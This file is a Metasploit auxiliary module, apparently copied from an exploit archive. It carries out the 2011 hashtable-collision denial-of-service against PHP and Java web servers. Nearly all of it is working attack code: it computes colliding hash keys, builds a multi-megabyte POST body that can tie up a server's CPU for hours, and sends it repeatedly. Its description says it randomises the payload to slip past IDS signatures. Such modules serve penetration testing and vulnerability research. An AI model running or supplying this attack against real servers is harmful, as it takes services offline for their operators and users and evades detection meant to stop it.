## https://sploitus.com/exploit?id=PACKETSTORM:180523
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Hashtable Collisions',
'Description' => %q{
This module uses a denial-of-service (DoS) condition appearing in a variety of
programming languages. This vulnerability occurs when storing multiple values
in a hash table and all values have the same hash value. This can cause a web server
parsing the POST parameters issued with a request into a hash table to consume
hours of CPU with a single HTTP request.
Currently, only the hash functions for PHP and Java are implemented.
This module was tested with PHP + httpd, Tomcat, Glassfish and Geronimo.
It also generates a random payload to bypass some IDS signatures.
},
'Author' =>
[
'Alexander Klink', # advisory
'Julian Waelde', # advisory
'Scott A. Crosby', # original advisory
'Dan S. Wallach', # original advisory
'Krzysztof Kotowicz', # payload generator
'Christian Mehlmauer' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://ocert.org/advisories/ocert-2011-003.html'],
['URL', 'https://web.archive.org/web/20120105151644/http://www.nruns.com/_downloads/advisory28122011.pdf'],
['URL', 'https://fahrplan.events.ccc.de/congress/2011/Fahrplan/events/4680.en.html'],
['URL', 'https://fahrplan.events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf'],
['URL', 'https://www.youtube.com/watch?v=R2Cq3CLI6H8'],
['CVE', '2011-5034'],
['CVE', '2011-5035'],
['CVE', '2011-4885'],
['CVE', '2011-4858']
],
'DisclosureDate'=> '2011-12-28'
))
register_options(
[
OptEnum.new('TARGET', [ true, 'Target to attack', nil, ['PHP','Java']]),
OptString.new('URL', [ true, "The request URI", '/' ]),
OptInt.new('RLIMIT', [ true, "Number of requests to send", 50 ])
])
register_advanced_options(
[
OptInt.new('RecursiveMax', [false, "Maximum recursions when searching for collisionchars", 15]),
OptInt.new('MaxPayloadSize', [false, "Maximum size of the Payload in Megabyte. Autoadjust if 0", 0]),
OptInt.new('CollisionChars', [false, "Number of colliding chars to find", 5]),
OptInt.new('CollisionCharLength', [false, "Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)", 2]),
OptInt.new('PayloadLength', [false, "Length of each parameter in the payload", 8])
])
end
def generate_payload
# Taken from:
# https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
@recursive_counter = 1
collision_chars = compute_collision_chars
return nil if collision_chars == nil
length = datastore['PayloadLength']
size = collision_chars.length
post = ""
max_value_float = size ** length
max_value_int = max_value_float.floor
print_status("#{rhost}:#{rport} - Generating POST data...")
for i in 0.upto(max_value_int)
input_string = i.to_s(size)
result = input_string.rjust(length, "0")
collision_chars.each do |key, value|
result = result.gsub(key, value)
end
post << "#{Rex::Text.uri_encode(result)}=&"
end
return post
end
def compute_collision_chars
print_status("#{rhost}:#{rport} - Trying to find hashes...") if @recursive_counter == 1
hashes = {}
counter = 0
length = datastore['CollisionCharLength']
a = []
for i in @char_range
a << i.chr
end
# Generate all possible strings
source = a
for i in Range.new(1,length-1)
source = source.product(a)
end
source = source.map(&:join)
# and pick a random one
base_str = source.sample
base_hash = @function.call(base_str)
hashes[counter.to_s] = base_str
counter = counter + 1
for item in source
if item == base_str
next
end
if @function.call(item) == base_hash
# Hooray we found a matching hash
hashes[counter.to_s] = item
counter = counter + 1
end
if counter >= datastore['CollisionChars']
break
end
end
if counter < datastore['CollisionChars']
# Try it again
if @recursive_counter > datastore['RecursiveMax']
print_error("#{rhost}:#{rport} - Not enough values found. Please start this script again.")
return nil
end
print_status("#{rhost}:#{rport} - #{@recursive_counter}: Not enough values found. Trying again...")
@recursive_counter = @recursive_counter + 1
hashes = compute_collision_chars
else
print_status("#{rhost}:#{rport} - Found values:")
hashes.each_value do |item|
print_status("#{rhost}:#{rport} -\tValue: #{item}\tHash: #{@function.call(item)}")
item.each_char do |c|
print_status("#{rhost}:#{rport} -\t\tValue: #{c}\tCharcode: #{c.unpack("C")}")
end
end
end
return hashes
end
# General hash function, Dan "djb" Bernstein times XX add
def djbxa(input_string, base, start)
counter = input_string.length - 1
result = start
input_string.each_char do |item|
result = result + ((base ** counter) * item.ord)
counter = counter - 1
end
return result.round
end
# PHP's hash function (djb times 33 add)
def djbx33a(input_string)
return djbxa(input_string, 33, 5381)
end
# Java's hash function (djb times 31 add)
def djbx31a(input_string)
return djbxa(input_string, 31, 0)
end
def run
case datastore['TARGET']
when /PHP/
@function = method(:djbx33a)
@char_range = Range.new(0, 255)
if (datastore['MaxPayloadSize'] <= 0)
datastore['MaxPayloadSize'] = 8 # XXX: Refactor
end
when /Java/
@function = method(:djbx31a)
@char_range = Range.new(0, 128)
if (datastore['MaxPayloadSize'] <= 0)
datastore['MaxPayloadSize'] = 2 # XXX: Refactor
end
else
raise RuntimeError, "Target #{datastore['TARGET']} not supported"
end
print_status("#{rhost}:#{rport} - Generating payload...")
payload = generate_payload
return if payload == nil
# trim to maximum payload size (in MB)
max_in_mb = datastore['MaxPayloadSize']*1024*1024
payload = payload[0,max_in_mb]
# remove last invalid(cut off) parameter
position = payload.rindex("=&")
payload = payload[0,position+1]
print_status("#{rhost}:#{rport} -Payload generated")
for x in 1..datastore['RLIMIT']
print_status("#{rhost}:#{rport} - Sending request ##{x}...")
opts = {
'method' => 'POST',
'uri' => normalize_uri(datastore['URL']),
'data' => payload
}
begin
c = connect
r = c.request_cgi(opts)
c.send_request(r)
# Don't wait for a response, can take hours
rescue ::Rex::ConnectionError => exception
print_error("#{rhost}:#{rport} - Unable to connect: '#{exception.message}'")
return
ensure
disconnect(c) if c
end
end
end
end